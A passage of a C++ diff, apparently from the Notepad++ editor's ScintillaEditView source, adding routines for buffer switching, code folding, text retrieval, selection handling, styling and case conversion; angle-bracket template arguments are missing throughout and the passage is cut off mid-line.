execute(SCI_SETSELECTIONMODE, pos._selMode); //enable + execute(SCI_SETANCHOR, pos._startPos); + execute(SCI_SETCURRENTPOS, pos._endPos); + execute(SCI_CANCEL); //disable + if (not isWrap()) //only offset if not wrapping, otherwise the offset isnt needed at all + { + execute(SCI_SETSCROLLWIDTH, pos._scrollWidth); + execute(SCI_SETXOFFSET, pos._xOffset); + } + execute(SCI_CHOOSECARETX); // choose current x position + + int lineToShow = static_cast(execute(SCI_VISIBLEFROMDOCLINE, pos._firstVisibleLine)); + scroll(0, lineToShow); +} + +void ScintillaEditView::restyleBuffer() { + execute(SCI_CLEARDOCUMENTSTYLE); + execute(SCI_COLOURISE, 0, -1); + _currentBuffer->setNeedsLexing(false); +} + +void ScintillaEditView::styleChange() { + defineDocType(_currentBuffer->getLangType()); + restyleBuffer(); +} + +void ScintillaEditView::activateBuffer(BufferID buffer) +{ + if (buffer == BUFFER_INVALID) + return; + if (buffer == _currentBuffer) + return; + Buffer * newBuf = MainFileManager->getBufferByID(buffer); + + // before activating another document, we get the current position + // from the Scintilla view then save it to the current document + saveCurrentPos(); + + // get foldStateInfo of current doc + std::vector lineStateVector; + getCurrentFoldStates(lineStateVector); + + // put the state into the future ex buffer + _currentBuffer->setHeaderLineState(lineStateVector, this); + + _currentBufferID = buffer; //the magical switch happens here + _currentBuffer = newBuf; + // change the doc, this operation will decrease + // the ref count of old current doc and increase the one of the new doc. FileManager should manage the rest + // Note that the actual reference in the Buffer itself is NOT decreased, Notepad_plus does that if neccessary + execute(SCI_SETDOCPOINTER, 0, _currentBuffer->getDocument()); + + // Due to execute(SCI_CLEARDOCUMENTSTYLE); in defineDocType() function + // defineDocType() function should be called here, but not be after the fold info loop + defineDocType(_currentBuffer->getLangType()); + + setWordChars(); + + if (_currentBuffer->getNeedsLexing()) { + restyleBuffer(); + } + + // restore the collapsed info + const std::vector & lineStateVectorNew = newBuf->getHeaderLineState(this); + syncFoldStateWith(lineStateVectorNew); + + restoreCurrentPos(); + + bufferUpdated(_currentBuffer, (BufferChangeMask & ~BufferChangeLanguage)); //everything should be updated, but the language (which undoes some operations done here like folding) + + //setup line number margin + int numLines = static_cast(execute(SCI_GETLINECOUNT)); + + char numLineStr[32]; + itoa(numLines, numLineStr, 10); + + runMarkers(true, 0, true, false); + return; //all done +} + +void ScintillaEditView::getCurrentFoldStates(std::vector & lineStateVector) +{ + // xCodeOptimization1304: For active document get folding state from Scintilla. + // The code using SCI_CONTRACTEDFOLDNEXT is usually 10%-50% faster than checking each line of the document!! + size_t contractedFoldHeaderLine = 0; + + do { + contractedFoldHeaderLine = static_cast(execute(SCI_CONTRACTEDFOLDNEXT, contractedFoldHeaderLine)); + if (contractedFoldHeaderLine != -1) + { + //-- Store contracted line + lineStateVector.push_back(contractedFoldHeaderLine); + //-- Start next search with next line + ++contractedFoldHeaderLine; + } + } while (contractedFoldHeaderLine != -1); +} + +void ScintillaEditView::syncFoldStateWith(const std::vector & lineStateVectorNew) +{ + size_t nbLineState = lineStateVectorNew.size(); + for (size_t i = 0 ; i < nbLineState ; ++i) + { + auto line = lineStateVectorNew.at(i); + fold(line, false); + } +} + +void ScintillaEditView::bufferUpdated(Buffer * buffer, int mask) +{ + //actually only care about language and lexing etc + if (buffer == _currentBuffer) + { + if (mask & BufferChangeLanguage) + { + defineDocType(buffer->getLangType()); + foldAll(fold_uncollapse); + } + + if (mask & BufferChangeLexing) + { + if (buffer->getNeedsLexing()) + { + restyleBuffer(); //sets to false, this will apply to any other view aswell + } //else nothing, otherwise infinite loop + } + + if (mask & BufferChangeFormat) + { + execute(SCI_SETEOLMODE, static_cast(_currentBuffer->getEolFormat())); + } + if (mask & BufferChangeReadonly) + { + execute(SCI_SETREADONLY, _currentBuffer->isReadOnly()); + } + if (mask & BufferChangeUnicode) + { + int enc = CP_ACP; + if (buffer->getUnicodeMode() == uni8Bit) + { //either 0 or CJK codepage + LangType typeDoc = buffer->getLangType(); + if (isCJK()) + { + if (typeDoc == L_CSS || typeDoc == L_CAML || typeDoc == L_ASM || typeDoc == L_MATLAB) + enc = CP_ACP; //you may also want to set charsets here, not yet implemented + else + enc = _codepage; + } + else + enc = CP_ACP; + } + else //CP UTF8 for all unicode + enc = SC_CP_UTF8; + execute(SCI_SETCODEPAGE, enc); + } + } +} + +void ScintillaEditView::collapse(int level2Collapse, bool mode) +{ + execute(SCI_COLOURISE, 0, -1); + + int maxLine = static_cast(execute(SCI_GETLINECOUNT)); + + for (int line = 0; line < maxLine; ++line) + { + int level = static_cast(execute(SCI_GETFOLDLEVEL, line)); + if (level & SC_FOLDLEVELHEADERFLAG) + { + level -= SC_FOLDLEVELBASE; + if (level2Collapse == (level & SC_FOLDLEVELNUMBERMASK)) + if (isFolded(line) != mode) + { + fold(line, mode); + } + } + } + + runMarkers(true, 0, true, false); +} + +void ScintillaEditView::foldCurrentPos(bool mode) +{ + auto currentLine = this->getCurrentLineNumber(); + fold(currentLine, mode); +} + +void ScintillaEditView::fold(size_t line, bool mode) +{ + auto endStyled = execute(SCI_GETENDSTYLED); + auto len = execute(SCI_GETTEXTLENGTH); + + if (endStyled < len) + execute(SCI_COLOURISE, 0, -1); + + int headerLine; + auto level = execute(SCI_GETFOLDLEVEL, line); + + if (level & SC_FOLDLEVELHEADERFLAG) + headerLine = static_cast(line); + else + { + headerLine = static_cast(execute(SCI_GETFOLDPARENT, line)); + if (headerLine == -1) + return; + } + + if (isFolded(headerLine) != mode) + { + execute(SCI_TOGGLEFOLD, headerLine); + + SCNotification scnN; + scnN.nmhdr.code = SCN_FOLDINGSTATECHANGED; + scnN.nmhdr.hwndFrom = _hSelf; + scnN.nmhdr.idFrom = 0; + scnN.line = headerLine; + scnN.foldLevelNow = isFolded(headerLine)?1:0; //folded:1, unfolded:0 + + ::SendMessage(_hParent, WM_NOTIFY, 0, reinterpret_cast(&scnN)); + } +} + +void ScintillaEditView::foldAll(bool mode) +{ + auto maxLine = execute(SCI_GETLINECOUNT); + + for (int line = 0; line < maxLine; ++line) + { + auto level = execute(SCI_GETFOLDLEVEL, line); + if (level & SC_FOLDLEVELHEADERFLAG) + if (isFolded(line) != mode) + fold(line, mode); + } +} + +void ScintillaEditView::getText(char *dest, size_t start, size_t end) const +{ + TextRange tr; + tr.chrg.cpMin = static_cast(start); + tr.chrg.cpMax = static_cast(end); + tr.lpstrText = dest; + execute(SCI_GETTEXTRANGE, 0, reinterpret_cast(&tr)); +} + +generic_string ScintillaEditView::getGenericTextAsString(size_t start, size_t end) const +{ + assert(end > start); + const size_t bufSize = end - start + 1; + TCHAR *buf = new TCHAR[bufSize]; + getGenericText(buf, bufSize, start, end); + generic_string text = buf; + delete[] buf; + return text; +} + +void ScintillaEditView::getGenericText(TCHAR *dest, size_t destlen, size_t start, size_t end) const +{ + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + char *destA = new char[end - start + 1]; + getText(destA, start, end); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const TCHAR *destW = wmc->char2wchar(destA, cp); + _tcsncpy_s(dest, destlen, destW, _TRUNCATE); + delete [] destA; +} + +// "mstart" and "mend" are pointers to indexes in the read string, +// which are converted to the corresponding indexes in the returned TCHAR string. + +void ScintillaEditView::getGenericText(TCHAR *dest, size_t destlen, int start, int end, int *mstart, int *mend) const +{ + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + char *destA = new char[end - start + 1]; + getText(destA, start, end); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)) ; + const TCHAR *destW = wmc->char2wchar(destA, cp, mstart, mend); + _tcsncpy_s(dest, destlen, destW, _TRUNCATE); + delete [] destA; +} + +void ScintillaEditView::insertGenericTextFrom(size_t position, const TCHAR *text2insert) const +{ + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const char *text2insertA = wmc->wchar2char(text2insert, cp); + execute(SCI_INSERTTEXT, position, reinterpret_cast(text2insertA)); +} + +void ScintillaEditView::replaceSelWith(const char * replaceText) +{ + execute(SCI_REPLACESEL, 0, reinterpret_cast(replaceText)); +} + +void ScintillaEditView::getVisibleStartAndEndPosition(int * startPos, int * endPos) +{ + assert(startPos != NULL && endPos != NULL); + + auto firstVisibleLine = execute(SCI_GETFIRSTVISIBLELINE); + *startPos = static_cast(execute(SCI_POSITIONFROMLINE, execute(SCI_DOCLINEFROMVISIBLE, firstVisibleLine))); + auto linesOnScreen = execute(SCI_LINESONSCREEN); + auto lineCount = execute(SCI_GETLINECOUNT); + auto visibleLine = execute(SCI_DOCLINEFROMVISIBLE, firstVisibleLine + min(linesOnScreen, lineCount)); + *endPos = static_cast(execute(SCI_POSITIONFROMLINE, visibleLine)); + if (*endPos == -1) + *endPos = static_cast(execute(SCI_GETLENGTH)); +} + +char * ScintillaEditView::getWordFromRange(char * txt, int size, int pos1, int pos2) +{ + if (!size) + return NULL; + if (pos1 > pos2) + { + int tmp = pos1; + pos1 = pos2; + pos2 = tmp; + } + + if (size < pos2-pos1) + return NULL; + + getText(txt, pos1, pos2); + return txt; +} + +char * ScintillaEditView::getWordOnCaretPos(char * txt, int size) +{ + if (!size) + return NULL; + + pair range = getWordRange(); + return getWordFromRange(txt, size, range.first, range.second); +} + +TCHAR * ScintillaEditView::getGenericWordOnCaretPos(TCHAR * txt, int size) +{ + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + char *txtA = new char[size + 1]; + getWordOnCaretPos(txtA, size); + + const TCHAR * txtW = wmc->char2wchar(txtA, cp); + lstrcpy(txt, txtW); + delete [] txtA; + return txt; +} + +char * ScintillaEditView::getSelectedText(char * txt, int size, bool expand) +{ + if (!size) + return NULL; + CharacterRange range = getSelection(); + if (range.cpMax == range.cpMin && expand) + { + expandWordSelection(); + range = getSelection(); + } + if (!(size > (range.cpMax - range.cpMin))) //there must be atleast 1 byte left for zero terminator + { + range.cpMax = range.cpMin+size-1; //keep room for zero terminator + } + //getText(txt, range.cpMin, range.cpMax); + return getWordFromRange(txt, size, range.cpMin, range.cpMax); +} + +TCHAR * ScintillaEditView::getGenericSelectedText(TCHAR * txt, int size, bool expand) +{ + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + char *txtA = new char[size + 1]; + getSelectedText(txtA, size, expand); + + const TCHAR * txtW = wmc->char2wchar(txtA, cp); + lstrcpy(txt, txtW); + delete [] txtA; + return txt; +} + +int ScintillaEditView::searchInTarget(const TCHAR * text2Find, size_t lenOfText2Find, size_t fromPos, size_t toPos) const +{ + execute(SCI_SETTARGETRANGE, fromPos, toPos); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const char *text2FindA = wmc->wchar2char(text2Find, cp); + size_t text2FindALen = strlen(text2FindA); + size_t len = (lenOfText2Find > text2FindALen) ? lenOfText2Find : text2FindALen; + return static_cast(execute(SCI_SEARCHINTARGET, len, reinterpret_cast(text2FindA))); +} + +void ScintillaEditView::appandGenericText(const TCHAR * text2Append) const +{ + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const char *text2AppendA =wmc->wchar2char(text2Append, cp); + execute(SCI_APPENDTEXT, strlen(text2AppendA), reinterpret_cast(text2AppendA)); +} + +void ScintillaEditView::addGenericText(const TCHAR * text2Append) const +{ + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const char *text2AppendA =wmc->wchar2char(text2Append, cp); + execute(SCI_ADDTEXT, strlen(text2AppendA), reinterpret_cast(text2AppendA)); +} + +void ScintillaEditView::addGenericText(const TCHAR * text2Append, long *mstart, long *mend) const +{ + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const char *text2AppendA =wmc->wchar2char(text2Append, cp, mstart, mend); + execute(SCI_ADDTEXT, strlen(text2AppendA), reinterpret_cast(text2AppendA)); +} + +int32_t ScintillaEditView::replaceTarget(const TCHAR * str2replace, int fromTargetPos, int toTargetPos) const +{ + if (fromTargetPos != -1 || toTargetPos != -1) + { + execute(SCI_SETTARGETRANGE, fromTargetPos, toTargetPos); + } + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const char *str2replaceA = wmc->wchar2char(str2replace, cp); + return static_cast(execute(SCI_REPLACETARGET, static_cast(-1), reinterpret_cast(str2replaceA))); +} + +int ScintillaEditView::replaceTargetRegExMode(const TCHAR * re, int fromTargetPos, int toTargetPos) const +{ + if (fromTargetPos != -1 || toTargetPos != -1) + { + execute(SCI_SETTARGETRANGE, fromTargetPos, toTargetPos); + } + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const char *reA = wmc->wchar2char(re, cp); + return static_cast(execute(SCI_REPLACETARGETRE, static_cast(-1), reinterpret_cast(reA))); +} + +void ScintillaEditView::showAutoComletion(size_t lenEntered, const TCHAR* list) +{ + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const char *listA = wmc->wchar2char(list, cp); + execute(SCI_AUTOCSHOW, lenEntered, reinterpret_cast(listA)); +} + +void ScintillaEditView::showCallTip(int startPos, const TCHAR * def) +{ + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const char *defA = wmc->wchar2char(def, cp); + execute(SCI_CALLTIPSHOW, startPos, reinterpret_cast(defA)); +} + +generic_string ScintillaEditView::getLine(size_t lineNumber) +{ + int32_t lineLen = static_cast(execute(SCI_LINELENGTH, lineNumber)); + const int bufSize = lineLen + 1; + std::unique_ptr buf = std::make_unique(bufSize); + getLine(lineNumber, buf.get(), bufSize); + return buf.get(); +} + +void ScintillaEditView::getLine(size_t lineNumber, TCHAR * line, int lineBufferLen) +{ + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + char *lineA = new char[lineBufferLen]; + // From Scintilla documentation for SCI_GETLINE: "The buffer is not terminated by a 0 character." + memset(lineA, 0x0, sizeof(char) * lineBufferLen); + execute(SCI_GETLINE, lineNumber, reinterpret_cast(lineA)); + const TCHAR *lineW = wmc->char2wchar(lineA, cp); + lstrcpyn(line, lineW, lineBufferLen); + delete [] lineA; +} + +void ScintillaEditView::addText(size_t length, const char *buf) +{ + execute(SCI_ADDTEXT, length, reinterpret_cast(buf)); +} + +void ScintillaEditView::beginOrEndSelect() +{ + if (_beginSelectPosition == -1) + { + _beginSelectPosition = static_cast(execute(SCI_GETCURRENTPOS)); + } + else + { + execute(SCI_SETANCHOR, _beginSelectPosition); + _beginSelectPosition = -1; + } +} + +void ScintillaEditView::updateBeginEndSelectPosition(const bool is_insert, const int position, const int length) +{ + if(_beginSelectPosition != -1 && position < _beginSelectPosition - 1) + { + if(is_insert) + _beginSelectPosition += length; + else + _beginSelectPosition -= length; + + assert(_beginSelectPosition >= 0); + } +} + +void ScintillaEditView::marginClick(int position, int modifiers) +{ + int lineClick = int(execute(SCI_LINEFROMPOSITION, position, 0)); + int levelClick = int(execute(SCI_GETFOLDLEVEL, lineClick, 0)); + if (levelClick & SC_FOLDLEVELHEADERFLAG) + { + if (modifiers & SCMOD_SHIFT) + { + // Ensure all children visible + execute(SCI_SETFOLDEXPANDED, lineClick, 1); + expand(lineClick, true, true, 100, levelClick); + } + else if (modifiers & SCMOD_CTRL) + { + if (isFolded(lineClick)) + { + // Contract this line and all children + execute(SCI_SETFOLDEXPANDED, lineClick, 0); + expand(lineClick, false, true, 0, levelClick); + } + else + { + // Expand this line and all children + execute(SCI_SETFOLDEXPANDED, lineClick, 1); + expand(lineClick, true, true, 100, levelClick); + } + } + else + { + // Toggle this line + bool mode = isFolded(lineClick); + fold(lineClick, !mode); + runMarkers(true, lineClick, true, false); + } + } +} + +void ScintillaEditView::expand(int &line, bool doExpand, bool force, int visLevels, int level) +{ + int lineMaxSubord = int(execute(SCI_GETLASTCHILD, line, level & SC_FOLDLEVELNUMBERMASK)); + ++line; + while (line <= lineMaxSubord) + { + if (force) + { + execute(((visLevels > 0) ? SCI_SHOWLINES : SCI_HIDELINES), line, line); + } + else + { + if (doExpand) + execute(SCI_SHOWLINES, line, line); + } + + int levelLine = level; + if (levelLine == -1) + levelLine = int(execute(SCI_GETFOLDLEVEL, line, 0)); + + if (levelLine & SC_FOLDLEVELHEADERFLAG) + { + if (force) + { + if (visLevels > 1) + execute(SCI_SETFOLDEXPANDED, line, 1); + else + execute(SCI_SETFOLDEXPANDED, line, 0); + expand(line, doExpand, force, visLevels - 1); + } + else + { + if (doExpand) + { + if (!isFolded(line)) + execute(SCI_SETFOLDEXPANDED, line, 1); + + expand(line, true, force, visLevels - 1); + } + else + expand(line, false, force, visLevels - 1); + } + } + else + ++line; + } + + runMarkers(true, 0, true, false); +} + + +void ScintillaEditView::performGlobalStyles() +{ + StyleArray & stylers = _pParameter->getMiscStylerArray(); + + int i = stylers.getStylerIndexByName(TEXT("Current line background colour")); + if (i != -1) + { + Style & style = stylers.getStyler(i); + execute(SCI_SETCARETLINEBACK, style._bgColor); + } + + COLORREF selectColorBack = grey; + + i = stylers.getStylerIndexByName(TEXT("Selected text colour")); + if (i != -1) + { + Style & style = stylers.getStyler(i); + selectColorBack = style._bgColor; + } + execute(SCI_SETSELBACK, 1, selectColorBack); + + COLORREF caretColor = black; + i = stylers.getStylerIndexByID(SCI_SETCARETFORE); + if (i != -1) + { + Style & style = stylers.getStyler(i); + caretColor = style._fgColor; + } + execute(SCI_SETCARETFORE, caretColor); + + COLORREF edgeColor = liteGrey; + i = stylers.getStylerIndexByName(TEXT("Edge colour")); + if (i != -1) + { + Style & style = stylers.getStyler(i); + edgeColor = style._fgColor; + } + execute(SCI_SETEDGECOLOUR, edgeColor); + + COLORREF foldMarginColor = grey; + COLORREF foldMarginHiColor = white; + i = stylers.getStylerIndexByName(TEXT("Fold margin")); + if (i != -1) + { + Style & style = stylers.getStyler(i); + foldMarginHiColor = style._fgColor; + foldMarginColor = style._bgColor; + } + execute(SCI_SETFOLDMARGINCOLOUR, true, foldMarginColor); + execute(SCI_SETFOLDMARGINHICOLOUR, true, foldMarginHiColor); + + COLORREF foldfgColor = white, foldbgColor = grey, activeFoldFgColor = red; + getFoldColor(foldfgColor, foldbgColor, activeFoldFgColor); + + ScintillaViewParams & svp = (ScintillaViewParams &)_pParameter->getSVP(); + for (int j = 0 ; j < NB_FOLDER_STATE ; ++j) + defineMarker(_markersArray[FOLDER_TYPE][j], _markersArray[svp._folderStyle][j], foldfgColor, foldbgColor, activeFoldFgColor); + + execute(SCI_MARKERENABLEHIGHLIGHT, true); + + COLORREF wsSymbolFgColor = black; + i = stylers.getStylerIndexByName(TEXT("White space symbol")); + if (i != -1) + { + Style & style = stylers.getStyler(i); + wsSymbolFgColor = style._fgColor; + } + execute(SCI_SETWHITESPACEFORE, true, wsSymbolFgColor); +} + +void ScintillaEditView::setLineIndent(int line, int indent) const { + if (indent < 0) + return; + CharacterRange crange = getSelection(); + int posBefore = static_cast(execute(SCI_GETLINEINDENTPOSITION, line)); + execute(SCI_SETLINEINDENTATION, line, indent); + int32_t posAfter = static_cast(execute(SCI_GETLINEINDENTPOSITION, line)); + int posDifference = posAfter - posBefore; + if (posAfter > posBefore) { + // Move selection on + if (crange.cpMin >= posBefore) { + crange.cpMin += posDifference; + } + if (crange.cpMax >= posBefore) { + crange.cpMax += posDifference; + } + } else if (posAfter < posBefore) { + // Move selection back + if (crange.cpMin >= posAfter) { + if (crange.cpMin >= posBefore) + crange.cpMin += posDifference; + else + crange.cpMin = posAfter; + } + if (crange.cpMax >= posAfter) { + if (crange.cpMax >= posBefore) + crange.cpMax += posDifference; + else + crange.cpMax = posAfter; + } + } + execute(SCI_SETSEL, crange.cpMin, crange.cpMax); +} + +void ScintillaEditView::updateLineNumberWidth() +{ + if (_lineNumbersShown) + { + auto linesVisible = execute(SCI_LINESONSCREEN); + if (linesVisible) + { + auto firstVisibleLineVis = execute(SCI_GETFIRSTVISIBLELINE); + auto lastVisibleLineVis = linesVisible + firstVisibleLineVis + 1; + + if (execute(SCI_GETWRAPMODE) != SC_WRAP_NONE) + { + auto numLinesDoc = execute(SCI_GETLINECOUNT); + auto prevLineDoc = execute(SCI_DOCLINEFROMVISIBLE, firstVisibleLineVis); + for (auto i = firstVisibleLineVis + 1; i <= lastVisibleLineVis; ++i) + { + auto lineDoc = execute(SCI_DOCLINEFROMVISIBLE, i); + if (lineDoc == numLinesDoc) + break; + if (lineDoc == prevLineDoc) + lastVisibleLineVis++; + prevLineDoc = lineDoc; + } + } + + auto lastVisibleLineDoc = execute(SCI_DOCLINEFROMVISIBLE, lastVisibleLineVis); + int i = 0; + + while (lastVisibleLineDoc) + { + lastVisibleLineDoc /= 10; + ++i; + } + + i = max(i, 3); + auto pixelWidth = 8 + i * execute(SCI_TEXTWIDTH, STYLE_LINENUMBER, reinterpret_cast("8")); + execute(SCI_SETMARGINWIDTHN, _SC_MARGE_LINENUMBER, pixelWidth); + } + } +} + +const char * ScintillaEditView::getCompleteKeywordList(std::basic_string & kwl, LangType langType, int keywordIndex) +{ + kwl += " "; + const TCHAR *defKwl_generic = _pParameter->getWordList(langType, keywordIndex); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const char * defKwl = wmc->wchar2char(defKwl_generic, CP_ACP); + kwl += defKwl?defKwl:""; + + return kwl.c_str(); +} + +void ScintillaEditView::setMultiSelections(const ColumnModeInfos & cmi) +{ + for (size_t i = 0, len = cmi.size(); i < len ; ++i) + { + if (cmi[i].isValid()) + { + int selStart = cmi[i]._direction == L2R?cmi[i]._selLpos:cmi[i]._selRpos; + int selEnd = cmi[i]._direction == L2R?cmi[i]._selRpos:cmi[i]._selLpos; + execute(SCI_SETSELECTIONNSTART, i, selStart); + execute(SCI_SETSELECTIONNEND, i, selEnd); + } + //if (cmi[i].hasVirtualSpace()) + //{ + if (cmi[i]._nbVirtualAnchorSpc) + execute(SCI_SETSELECTIONNANCHORVIRTUALSPACE, i, cmi[i]._nbVirtualAnchorSpc); + if (cmi[i]._nbVirtualCaretSpc) + execute(SCI_SETSELECTIONNCARETVIRTUALSPACE, i, cmi[i]._nbVirtualCaretSpc); + //} + } +} + +// Get selection range : (fromLine, toLine) +// return (-1, -1) if multi-selection +pair ScintillaEditView::getSelectionLinesRange() const +{ + pair range(-1, -1); + if (execute(SCI_GETSELECTIONS) > 1) // multi-selection + return range; + int32_t start = static_cast(execute(SCI_GETSELECTIONSTART)); + int32_t end = static_cast(execute(SCI_GETSELECTIONEND)); + + range.first = static_cast(execute(SCI_LINEFROMPOSITION, start)); + range.second = static_cast(execute(SCI_LINEFROMPOSITION, end)); + + return range; +} + +void ScintillaEditView::currentLinesUp() const +{ + execute(SCI_MOVESELECTEDLINESUP); +} + +void ScintillaEditView::currentLinesDown() const +{ + execute(SCI_MOVESELECTEDLINESDOWN); + + // Ensure the selection is within view + execute(SCI_SCROLLRANGE, execute(SCI_GETSELECTIONEND), execute(SCI_GETSELECTIONSTART)); +} + +void ScintillaEditView::changeCase(__inout wchar_t * const strWToConvert, const int & nbChars, const TextCase & caseToConvert) const +{ + if (strWToConvert == nullptr || nbChars == NULL) + return; + + switch (caseToConvert) + { + case UPPERCASE: + { + for (int i = 0; i < nbChars; ++i) + { + strWToConvert[i] = (WCHAR)(UINT_PTR)::CharUpperW((LPWSTR)strWToConvert[i]); + } + break; + } //case UPPERCASE + case LOWERCASE: + { + for (int i = 0; i < nbChars; ++i) + { + strWToConvert[i] = (WCHAR)(UINT_PTR)::CharLowerW((LPWSTR)strWToConvert[i]); + } + break; + } //case LOWERCASE + case TITLECASE_FORCE: + case TITLECASE_BLEND: + { + for (int i = 0; i < nbChars; ++i) + { + if (::IsCharAlphaW(strWToConvert[i])) + { + if ((i < 1) ? true : not ::IsCharAlphaNumericW(strWToConvert[i - 1])) + strWToConvert[i] = (WCHAR)(UINT_PTR)::CharUpperW((LPWSTR)strWToConvert[i]); + else if (caseToConvert == TITLECASE_FORCE) + strWToConvert[i] = (WCHAR)(UINT_PTR)::CharLowerW((LPWSTR)strWToConvert[i]); + //An exception + if ((i < 2) ? false : (strWToConvert[i - 1] == L'\'' && ::IsCharAlphaW(strWToConvert[i - 2]))) + strWToConvert[i] = (WCHAR)(UINT_PTR)::CharLowerW((LPWSTR)strWToConvert[i]); + } + } + break; + } //case TITLECASE + case SENTENCECASE_FORCE: + case SENTENCECASE_BLEND: + { + bool isNewSentence = true; + bool wasEolR = false; + bool wasEolN = false; + for (int i = 0; i < nbChars; ++i) + { + if (::IsCharAlphaW(strWToConvert[i])) + { + if (isNewSentence) + { + strWToConvert[i] = (WCHAR)(UINT_PTR)::CharUpperW((LPWSTR)strWToConvert[i]); + isNewSentence = false; + } + else if (caseToConvert == SENTENCECASE_FORCE) + { + strWToConvert[i] = (WCHAR)(UINT_PTR)::CharLowerW((LPWSTR)strWToConvert[i]); + } + wasEolR = false; + wasEolN = false; + //An exception + if (strWToConvert[i] == L'i' && + ((i < 1) ? false : (::iswspace(strWToConvert[i - 1]) || strWToConvert[i - 1] == L'(' || strWToConvert[i - 1] == L'"')) && + ((i + 1 == nbChars) ? false : (::iswspace(strWToConvert[i + 1]) || strWToConvert[i + 1] == L'\''))) + { + strWToConvert[i] = L'I'; + } + } + else if (strWToConvert[i] == L'.' || strWToConvert[i] == L'!' || strWToConvert[i] == L'?') + { + if ((i + 1 == nbChars) ? true : ::IsCharAlphaNumericW(strWToConvert[i + 1])) + isNewSentence = false; + else + isNewSentence = true; + } + else if (strWToConvert[i] == L'\r') + { + if (wasEolR) + isNewSentence = true; + else + wasEolR = true; + } + else if (strWToConvert[i] == L'\n') + { + if (wasEolN) + isNewSentence = true; + else + wasEolN = true; + } + } + break; + } //case SENTENCECASE + case INVERTCASE: + { + for (int i = 0; i < nbChars; ++i) + { + if (::IsCharLowerW(strWToConvert[i])) + strWToConvert[i] = (WCHAR)(UINT_PTR)::CharUpperW((LPWSTR)strWToConvert[i]); + else + strWToConvert[i] = (WCHAR)(UINT_PTR)::CharLowerW((LPWSTR)strWToConvert[i]); + } + break; + } //case INVERTCASE + case RANDOMCASE: + { + for (int i = 0; i < nbChars; ++i) + { + if (::IsCharAlphaW(strWToConvert[i])) + { + if (std::rand() & true) + strWToConvert[i] = (WCHAR)(UINT_PTR)::CharUpperW((LPWSTR)strWToConvert[i]); + else + strWToConvert[i] = (WCHAR)(UINT_PTR)::CharLowerW((LPWSTR)strWToConvert[i]); + } + } + break; + } //case RANDOMCASE + } //switch (caseToConvert) +} + +void ScintillaEditView::convertSelectedTextTo(const TextCase & caseToConvert) +{ + unsigned int codepage = _codepage; + UniMode um = getCurrentBuffer()->getUnicodeMode(); + if (um != uni8Bit) + codepage = CP_UTF8; + + if (execute(SCI_GETSELECTIONS) > 1) // Multi-Selection || Column mode + { + execute(SCI_BEGINUNDOACTION); + + ColumnModeInfos cmi = getColumnModeSelectInfo(); + + for (size_t i = 0, cmiLen = cmi.size(); i < cmiLen ; ++i) + { + const int len = cmi[i]._selRpos - cmi[i]._selLpos; + char *srcStr = new char[len+1]; + wchar_t *destStr = new wchar_t[len+1]; + + int start = cmi[i]._selLpos; + int end = cmi[i]._selRpos; + getText(srcStr, start, end); + + int nbChar = ::MultiByteToWideChar(codepage, 0, srcStr, len, destStr, len); + + changeCase(destStr, nbChar, caseToConvert); + + ::WideCharToMultiByte(codepage, 0, destStr, len, srcStr, len, NULL, NULL); + + execute(SCI_SETTARGETRANGE, start, end); + execute(SCI_REPLACETARGET, static_cast(-1), reinterpret_cast(srcStr)); + + delete [] srcStr; + delete [] destStr; + } + + setMultiSelections(cmi); + + execute(SCI_ENDUNDOACTION); + return; + } + + size_t selectionStart = execute(SCI_GETSELECTIONSTART); + size_t selectionEnd = execute(SCI_GETSELECTIONEND); + + int32_t strLen = static_cast(selectionEnd - selectionStart); + if (strLen) + { + int strSize = strLen + 1; + char *selectedStr = new char[strSize]; + int strWSize = strSize * 2; + wchar_t *selectedStrW = new wchar_t[strWSize+3]; + + execute(SCI_GETSELTEXT, 0, reinterpret_cast(selectedStr)); + + int nbChar = ::MultiByteToWideChar(codepage, 0, selectedStr, strSize, selectedStrW, strWSize); + + changeCase(selectedStrW, nbChar, caseToConvert); + + ::WideCharToMultiByte(codepage, 0, selectedStrW, strWSize, selectedStr, strSize, NULL, NULL); + + execute(SCI_SETTARGETRANGE, selectionStart, selectionEnd); + execute(SCI_REPLACETARGET, strLen, reinterpret_cast(selectedStr)); + execute(SCI_SETSEL, selectionStart, selectionEnd); + delete [] selectedStr; + delete [] selectedStrW; + } +} + + + +pair ScintillaEditView::getWordRange() +{ + auto caretPos = execute(SCI_GETCURRENTPOS, 0, 0); + int startPos = static_cast(execute(SCI_WORDSTARTPOSITION, caretPos, true)); + int endPos = static_cast(execute(SCI_WORDENDPOSITION, caretPos, true)); + return pair(startPos, endPos); +} + +bool ScintillaEditView::expandWordSelection() +{ + pair wordRange = getWordRange(); + if (wordRange.first != wordRange.second) { + execute(SCI_SETSELECTIONSTART, wordRange.first); + execute(SCI_SETSELECTIONEND, wordRange.second); + return true; + } + return false; +} + +TCHAR * int2str(TCHAR *str, int 